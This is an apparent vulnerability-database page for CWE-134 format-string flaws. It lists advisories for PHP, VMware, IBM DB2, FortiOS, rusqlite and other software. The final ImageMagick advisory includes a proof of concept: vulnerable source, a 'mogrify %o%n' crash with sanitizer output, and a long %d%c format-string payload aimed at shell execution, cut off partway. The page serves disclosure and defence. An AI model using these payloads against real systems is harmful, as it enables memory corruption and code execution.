Common Weakness Enumeration

CWE-134

Allowed

Use of Externally-Controlled Format String

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a function that accepts a format string as an argument, but the format string originates from an external source.

501 vulnerabilities reference this CWE, most recent first.

GHSA-8QH3-332V-CX7G

Vulnerability from github – Published: 2022-05-17 03:50 – Updated: 2022-05-17 03:50
VLAI
Details

Format string vulnerability in the _vsnsprintf function in rrobotd.exe in the Device Manager in EMC AlphaStor 4.0 before build 800 allows remote attackers to execute arbitrary code via format string specifiers in a command.

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{
  "affected": [],
  "aliases": [
    "CVE-2013-0929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-01-21T21:55:00Z",
    "severity": "HIGH"
  },
  "details": "Format string vulnerability in the _vsnsprintf function in rrobotd.exe in the Device Manager in EMC AlphaStor 4.0 before build 800 allows remote attackers to execute arbitrary code via format string specifiers in a command.",
  "id": "GHSA-8qh3-332v-cx7g",
  "modified": "2022-05-17T03:50:28Z",
  "published": "2022-05-17T03:50:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0929"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2013-01/0078.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/57472"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8QVM-3V5H-74QX

Vulnerability from github – Published: 2022-05-02 03:43 – Updated: 2022-05-02 03:43
VLAI
Details

The popen API function in TSRM/tsrm_win32.c in PHP before 5.2.11 and 5.3.x before 5.3.1, when running on certain Windows operating systems, allows context-dependent attackers to cause a denial of service (crash) via a crafted (1) "e" or (2) "er" string in the second argument (aka mode), possibly related to the _fdopen function in the Microsoft C runtime library. NOTE: this might not cross privilege boundaries except in rare cases in which the mode argument is accessible to an attacker outside of an application that uses the popen function.

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{
  "affected": [],
  "aliases": [
    "CVE-2009-3294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-09-22T10:30:00Z",
    "severity": "MODERATE"
  },
  "details": "The popen API function in TSRM/tsrm_win32.c in PHP before 5.2.11 and 5.3.x before 5.3.1, when running on certain Windows operating systems, allows context-dependent attackers to cause a denial of service (crash) via a crafted (1) \"e\" or (2) \"er\" string in the second argument (aka mode), possibly related to the _fdopen function in the Microsoft C runtime library. NOTE: this might not cross privilege boundaries except in rare cases in which the mode argument is accessible to an attacker outside of an application that uses the popen function.",
  "id": "GHSA-8qvm-3v5h-74qx",
  "modified": "2022-05-02T03:43:40Z",
  "published": "2022-05-02T03:43:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3294"
    },
    {
      "type": "WEB",
      "url": "http://bugs.php.net/bug.php?id=44683"
    },
    {
      "type": "WEB",
      "url": "http://news.php.net/php.announce/79"
    },
    {
      "type": "WEB",
      "url": "http://svn.php.net/viewvc?view=revision\u0026revision=287779"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/09/20/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/11/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/11/20/3"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/58188"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-5.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-5.php#5.2.11"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/releases/5_2_11.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/releases/5_3_1.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8R3H-PVPJ-HHCG

Vulnerability from github – Published: 2022-05-02 00:05 – Updated: 2022-05-02 00:05
VLAI
Details

Format string vulnerability in the finger client in HP TCP/IP Services for OpenVMS 5.x allows local users to gain privileges via format string specifiers in a (1) .plan or (2) .project file.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-3940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-09-05T15:08:00Z",
    "severity": "MODERATE"
  },
  "details": "Format string vulnerability in the finger client in HP TCP/IP Services for OpenVMS 5.x allows local users to gain privileges via format string specifiers in a (1) .plan or (2) .project file.",
  "id": "GHSA-8r3h-pvpj-hhcg",
  "modified": "2022-05-02T00:05:07Z",
  "published": "2022-05-02T00:05:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3940"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44752"
    },
    {
      "type": "WEB",
      "url": "http://deathrow.vistech.net/DEFCON16/VMS.PDF"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/31587"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30948"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2463"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8R7Q-R9MX-35RH

Vulnerability from github – Published: 2021-08-25 20:47 – Updated: 2021-08-19 21:18
VLAI
Summary
Mishandling of format strings in rusqlite
Details

An issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because rusqlite::trace::log mishandles format strings.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rusqlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-35869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-19T21:18:40Z",
    "nvd_published_at": "2020-12-31T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because rusqlite::trace::log mishandles format strings.",
  "id": "GHSA-8r7q-r9mx-35rh",
  "modified": "2021-08-19T21:18:40Z",
  "published": "2021-08-25T20:47:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rusqlite/rusqlite/commit/2327d3b774927fdf48903c0bdc1ca7ec93c7c8d0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rusqlite/rusqlite"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rusqlite/rusqlite/releases/tag/0.23.0"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2020-0014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mishandling of format strings in rusqlite"
}

GHSA-8WG2-73CR-JV3Q

Vulnerability from github – Published: 2022-05-17 01:43 – Updated: 2022-05-17 01:43
VLAI
Details

Format string vulnerability in VMware OVF Tool 2.1 on Windows, as used in VMware Workstation 8.x before 8.0.5, VMware Player 4.x before 4.0.5, and other products, allows user-assisted remote attackers to execute arbitrary code via a crafted OVF file.

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{
  "affected": [],
  "aliases": [
    "CVE-2012-3569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-11-14T12:30:00Z",
    "severity": "HIGH"
  },
  "details": "Format string vulnerability in VMware OVF Tool 2.1 on Windows, as used in VMware Workstation 8.x before 8.0.5, VMware Player 4.x before 4.0.5, and other products, allows user-assisted remote attackers to execute arbitrary code via a crafted OVF file.",
  "id": "GHSA-8wg2-73cr-jv3q",
  "modified": "2022-05-17T01:43:39Z",
  "published": "2022-05-17T01:43:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3569"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/79922"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/87117"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/120101/VMWare-OVF-Tools-Format-String.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/51240"
    },
    {
      "type": "WEB",
      "url": "http://technet.microsoft.com/en-us/security/msvr/msvr13-002"
    },
    {
      "type": "WEB",
      "url": "http://www.vmware.com/security/advisories/VMSA-2012-0015.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-946W-FC5X-GQQM

Vulnerability from github – Published: 2022-05-01 18:21 – Updated: 2022-05-01 18:21
VLAI
Details

IBM DB2 UDB 8 before Fixpak 15 and 9.1 before Fixpak 3 allows local users to create arbitrary directories and execute arbitrary code via a "crafted localized message file" that enables a format string attack, possibly involving the (1) OSSEMEMDBG or (2) TRC_LOG_FILE environment variable in db2licd (db2licm).

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{
  "affected": [],
  "aliases": [
    "CVE-2007-4273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-08-18T21:17:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM DB2 UDB 8 before Fixpak 15 and 9.1 before Fixpak 3 allows local users to create arbitrary directories and execute arbitrary code via a \"crafted localized message file\" that enables a format string attack, possibly involving the (1) OSSEMEMDBG or (2) TRC_LOG_FILE environment variable in db2licd (db2licm).",
  "id": "GHSA-946w-fc5x-gqqm",
  "modified": "2022-05-01T18:21:56Z",
  "published": "2022-05-01T18:21:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4273"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36106"
    },
    {
      "type": "WEB",
      "url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=581"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26471"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1018581"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg1IY98011"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg1IY98101"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg21255352"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg21255607"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2007-August/001765.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25339"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/2912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-95F3-2WQM-398G

Vulnerability from github – Published: 2022-05-17 05:41 – Updated: 2022-05-17 05:41
VLAI
Details

Format string vulnerability in stream.c in the phar extension in PHP 5.3.x through 5.3.3 allows context-dependent attackers to obtain sensitive information (memory contents) and possibly execute arbitrary code via a crafted phar:// URI that is not properly handled by the phar_stream_flush function, leading to errors in the php_stream_wrapper_log_error function. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-2094.

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{
  "affected": [],
  "aliases": [
    "CVE-2010-2950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-09-28T18:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Format string vulnerability in stream.c in the phar extension in PHP 5.3.x through 5.3.3 allows context-dependent attackers to obtain sensitive information (memory contents) and possibly execute arbitrary code via a crafted phar:// URI that is not properly handled by the phar_stream_flush function, leading to errors in the php_stream_wrapper_log_error function.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-2094.",
  "id": "GHSA-95f3-2wqm-398g",
  "modified": "2022-05-17T05:41:32Z",
  "published": "2022-05-17T05:41:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2950"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=598537"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2011/Mar/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2010-09/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=130331363227777\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://php-security.org/2010/05/14/mops-2010-024-php-phar_stream_flush-format-string-vulnerability/index.html"
    },
    {
      "type": "WEB",
      "url": "http://security-tracker.debian.org/tracker/CVE-2010-2950"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4581"
    },
    {
      "type": "WEB",
      "url": "http://svn.php.net/viewvc?view=revision\u0026revision=302565"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2010:254"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-5.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/archive/2010.php#id2010-12-10-1"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/releases/5_3_4.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9669-PJX9-X524

Vulnerability from github – Published: 2024-04-09 15:30 – Updated: 2024-04-17 12:32
VLAI
Details

A use of externally-controlled format string vulnerability [CWE-134] in FortiOS version 7.4.1 and below, version 7.2.7 and below, version 7.0.14 and below, version 6.4.15 and below command line interface may allow a local privileged attacker with super-admin profile and CLI access to execute arbitrary code or commands via specially crafted requests.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-48784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T15:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A\u00a0use of externally-controlled format string vulnerability [CWE-134] in FortiOS version 7.4.1 and below, version 7.2.7 and below, version 7.0.14 and below, version 6.4.15 and below command line interface may allow a local\u00a0privileged attacker with super-admin profile and CLI access\u00a0to execute arbitrary code or commands via specially crafted requests.",
  "id": "GHSA-9669-pjx9-x524",
  "modified": "2024-04-17T12:32:02Z",
  "published": "2024-04-09T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48784"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-23-413"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-99J6-PH5X-XQMJ

Vulnerability from github – Published: 2022-05-01 23:39 – Updated: 2022-05-01 23:39
VLAI
Details

Format string vulnerability in the logDetail function of applib.dll in McAfee Common Management Agent (CMA) 3.6.0.574 (Patch 3) and earlier, as used in ePolicy Orchestrator 4.0.0 build 1015, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via format string specifiers in a sender field in an AgentWakeup request to UDP port 8082. NOTE: this issue only exists when the debug level is 8.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-1357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-03-17T17:44:00Z",
    "severity": "MODERATE"
  },
  "details": "Format string vulnerability in the logDetail function of applib.dll in McAfee Common Management Agent (CMA) 3.6.0.574 (Patch 3) and earlier, as used in ePolicy Orchestrator 4.0.0 build 1015, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via format string specifiers in a sender field in an AgentWakeup request to UDP port 8082.  NOTE: this issue only exists when the debug level is 8.",
  "id": "GHSA-99j6-ph5x-xqmj",
  "modified": "2022-05-01T23:39:22Z",
  "published": "2022-05-01T23:39:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1357"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41178"
    },
    {
      "type": "WEB",
      "url": "https://knowledge.mcafee.com/article/234/615103_f.sal_public.html"
    },
    {
      "type": "WEB",
      "url": "http://aluigi.altervista.org/adv/meccaffi-adv.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29337"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3748"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/489476/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28228"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019609"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0866/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9CCG-6PJW-X645

Vulnerability from github – Published: 2025-08-26 15:29 – Updated: 2025-11-03 21:34
VLAI
Summary
ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution
Details

Summary

A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.

Details

root cause

MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }

When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. 

MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}

MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);

Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.

PoC

1. Heap overflow read tested on development container

root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING

Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c